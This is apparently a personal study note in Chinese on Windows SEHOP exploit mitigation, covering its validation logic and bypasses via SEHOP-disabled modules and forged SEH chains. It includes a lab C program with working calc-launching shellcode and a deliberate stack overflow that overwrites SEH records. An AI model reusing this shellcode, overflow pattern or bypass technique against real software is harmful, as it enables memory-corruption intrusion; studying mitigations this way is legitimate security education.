OD: SEHOP

SEHOP，Structed Exception Handling Overwrite Protection，一种比 SafeSEH 更严厉的保护机制。Windows Vista SP1 开始支持 SEHOP，但 Vista 和 Win7 中默认不启用，可以对这两个版本的系统打补丁以支持 SEHOP，但一个更简单的方法是：

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerkernelDisableExceptionChainValidation = dword:00000000

可以写一个带 _try{} _except() 的简单程序，用 OllyDbg 加载然后修改 next seh 链表来对比观察 win7 启用 SEHOP 后的保护效果。我写了一段不算方便的代码来实验，因为其中有个宏可以在以后借用，先存下来：

// sehop.cpp : Defines the entry point for the console application.
//
// os:  win7
// ide: vs2008 (turn off Optimization/ASLR/GS/DEP)
// link option: /SAFESEH:NO

#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define D2B(x,c) ((byte)(((unsigned int)x)>>(32-c*8))) // Dword to Byte

char shellcode[300]=
"x60x89xE0x83xE4xFCx50x31xD2x52x68x63x61x6Cx63x54"
"x59x52x51x64x8Bx72x30x8Bx76x0Cx8Bx76x0CxADx8Bx30"
"x8Bx7Ex18x8Bx5Fx3Cx8Bx5Cx1Fx78x8Bx74x1Fx20x01xFE"
"x8Bx54x1Fx24x0FxB7x2Cx17x42x42xADx81x3Cx07x57x69"
"x6Ex45x75xF0x8Bx74x1Fx1Cx01xFEx03x3CxAExFFxD7x58"
"x58x5Cx61xC3"               // 84b winexec cmd.exe shellcode
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90"
"x78xFFx12x00" // next seh
"x18x30x40x00" // seh : shellcode
;

void test()
{
    char buf[84];
    memcpy(buf,shellcode,112);
    int x=0;
    __try{
        x=1/x;
    } __except(1) {
        printf("[fatal] divided by zero!
");
        __asm{
            lea eax,shellcode
            call eax  // push next_eip, jmp eax
        }
        exit(0);
    }
}

int _tmain(int argc, _TCHAR* argv[])
{
    test();
    return 0;
}

注意其中的 D2B() 宏，在代码中动态定位时可以借用（sprintf(address,"%c%c%c%c",D2B(seh,4),D2B(seh,3),D2B(seh,2),D2B(seh,1))），另外，弹出 calc.exe 的 shellcode 具有 function 特性，即执行过程中会保存现场，执行完了会返回，实验时应该用 lea eax, shellcode; call eax（call eax 会先 push next_eip 再 jmp）

栈帧中的 S.E.H 函数是以单链表的形式存放的：node(next_seh,eh) -> node(next_seh,eh) -> ... -> node(0xFFFFFFFF,system_final_eh)

SEHOP 的任务就是在转入异常处理之前检查 S.E.H 链表的最后一个节点是否为 system_final_eh，如果是则检测成功，否则失败：

if (process_flag & 0x40 == 0)            // 如果没有 SEH 记录则不进行检测
{
    if (record != 0xFFFFFFFF)            // 开始检测
    {
        do {
            if (record < stack_bottom || record > stack_top)                // SEH 记录必须位于栈中
                goto corruption;
            if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top) // SEH 结构完全在栈中
                goto corruption;
            if ((record & 3) !=0)                                           // SEH 记录必须 4 字节对齐
                goto corruption;
            handler = record -> handler;
            if (handler >= stack_bottom && handler < stack_top)             // SEH 处理函数不能在栈中
                goto corruption;
            record = record -> next;                                        // 继续遍历
        } while (record != 0xFFFFFFFF);
        if ((TEB -> word_at_offset_0xFCA & 0x200) != 0)
            if (handler != &FinalExceptionHandler)                          // 核心检测：未节点是否为系统 EH
                goto corruption;
    }
}

作为对 SafeSEH 强有力的补充，SEHOP 检查发生在 SafeSEH 的 RtlIsValidHandler 函数校验前，这样一来，利用攻击加载模块之外的地址、堆地址和未启用 SafeSEH 模块的方法都行不通了。理论上，剩下的攻击思路只有三条：

 因为 SEHOP 只对 SEH 提供保护，故避开 SEH，攻击返回地址（或 GS 关闭）或虚函数等
 利用未启用 SEHOP 的模块
 伪造 SEH 链

利用未启用 SEHOP 的模块

微软在编译器中没有提供关闭 SEHOP 的选项，但出于兼容性考虑，对一些程序禁用了 SEHOP，例如经过 Armadilo 加壳的软件。

操作系统会根据 PE 头中的 MajorLinkerVersion 和 MinorLinkerVersion 来判断是否为程序禁用 SEHOP。如果将这两个选项分别设置为 0x53 和 0x52 来模拟经过 Armadilo 加壳的程序，就可以禁用 SEHOP 了（可以用 CFF Explorer 打开程序，在 Optional Header 中进行设置）。

可以用这种方法并结合 利用未启用 SafeSEH 的模块绕过 SafeSEH 一节来绕过 SEHOP 和 SafeSEH。

伪造 S.E.H 链

实际环境中，要实现 S.E.H 的伪造是非常困难的事，因为前提条件很多：

1. 首先要求系统 ASLR 不能启用，否则 FinalExceptionHandler 地址在重启后会变动，溢出质量大大降低。
2. 伪造的 S.E.H 所处的位置必须在当前栈中，且能被 4 整除。
3. 伪造的 S.E.H 中的 next_seh 必须指向正常的 seh 链，其未节点必须是 FinalExceptionHandler。
4. 突破 SEHOP 后还需要突破 SafeSEH。

书中的示例用了 利用未启用 SafeSEH 的模块绕过 SafeSEH 一节中的 dll 模块，并且关闭了 DEP 和 ASLR。

Win7 不能通过 int 3 转入 OllyDbg 调试，只能直接用 OllyDbg 加载程序调试，为什么呢？